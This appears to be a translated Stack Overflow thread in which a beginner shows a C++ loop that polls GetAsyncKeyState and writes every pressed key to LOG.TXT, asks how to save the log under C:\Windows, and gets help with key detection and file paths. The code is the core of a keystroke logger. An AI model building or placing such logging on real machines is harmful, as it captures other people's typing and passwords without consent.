【问题标题】:I need help in saving my LOG.TXT file somewhere else我需要帮助将我的 LOG.TXT 文件保存在其他地方
【发布时间】:2013-06-09 20:05:37
【问题描述】:

我正在用 C++ 编程。我最近刚刚开始,我有这段代码可以将 LOG.TXT 保存到同一目录中。但是我如何将它保存到某个地方,例如。 c:\Windows\log.txt?

while (1)
{
 for(i = 8; i <= 190; i++)
 {
      if (GetAsyncKeyState(i) == -32767)
      Save(i,"LOG.TXT"); 
 }    
}

【问题讨论】:

  • 应该是if (GetAsyncKeyState(i) &amp; 0x8000),除非有更好的方法来检测至少不会耗尽所有 CPU 的按键。
  • 看看这个类似的帖子stackoverflow.com/questions/5868246/…
  • 克里斯,当我将 == -32767 替换为 & 0x8000 时,它会在 log.txt 文件中将每个字母写出 13 次。

标签: c++ logging file-io


【解决方案1】:

呃,尝试在Save 的参数中指定整个路径?例如。 Save(i,"c:\\Windows\\log.txt");?您需要双反斜杠,因为反斜杠是转义字符。

【讨论】:

    猜你喜欢
    • 2022-12-16
    • 1970-01-01
    • 2022-01-04
    • 1970-01-01
    • 2013-02-28
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2015-07-26
    相关资源
    最近更新 更多